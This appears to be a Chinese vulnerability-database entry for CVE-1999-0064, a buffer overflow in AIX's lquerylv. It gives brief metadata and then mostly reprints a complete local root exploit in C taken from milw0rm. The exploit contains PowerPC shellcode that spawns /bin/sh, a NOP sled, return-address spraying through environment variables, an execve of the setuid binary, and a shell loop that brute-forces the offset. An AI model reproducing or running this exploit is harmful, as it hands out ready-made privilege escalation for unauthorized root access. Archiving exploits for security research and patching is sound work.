AIX lquerylv缓冲区溢出漏洞

AIX lquerylv缓冲区溢出漏洞

漏洞ID 1105306 漏洞类型 缓冲区溢出
发布时间 1997-05-26 更新时间 2005-05-02
图片[1]-AIX lquerylv缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0064
图片[2]-AIX lquerylv缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199705-023
漏洞平台 AIX CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/335
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199705-023
|漏洞详情
AIXlquerylv程序存在缓冲区溢出漏洞。本地用户可以借助该漏洞获得根访问权限。
|漏洞EXP
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char prog[100]="/usr/sbin/lquerylv";
char prog2[30]="lquerylv";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/shx01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* return address */
int corr=4600;
char *args[4];
char *arg1="-L";
char *newenv[8];
int startwith=0;

mn=100;
max=280;

if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop<mn;nop++)
 buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);


newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Just frame pointers */
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve n");
/*      Georgi Guninski
        [email protected]
        [email protected]
        [email protected]
        http://www.geocities.com/ResearchTriangle/1711
*/
}
/*
----------cut here---------
----------sometimes this helps-----------------
#!/bin/ksh
L=100
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 42`
./a.out $L
done */

// milw0rm.com [1997-05-26]
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:ibm:aix:3.2*cpe:/o:ibm:aix:3.2.4*cpe:/o:ibm:aix:3.2.5*cpe:/o:ibm:aix:4.1*cpe:/o:ibm:aix:4.1.1*cpe:/o:ibm:aix:4.1.2*cpe:/o:ibm:aix:4.1.3*cpe:/o:ibm:aix:4.1.4*cpe:/o:ibm:aix:4.1.5*cpe:/o:ibm:aix:4.2*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0064

相关推荐: Martin Hamilton ROADS File Disclosure Vulnerability

Martin Hamilton ROADS File Disclosure Vulnerability 漏洞ID 1103506 漏洞类型 Input Validation Error 发布时间 2001-02-12 更新时间 2001-02-12 CVE编号…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享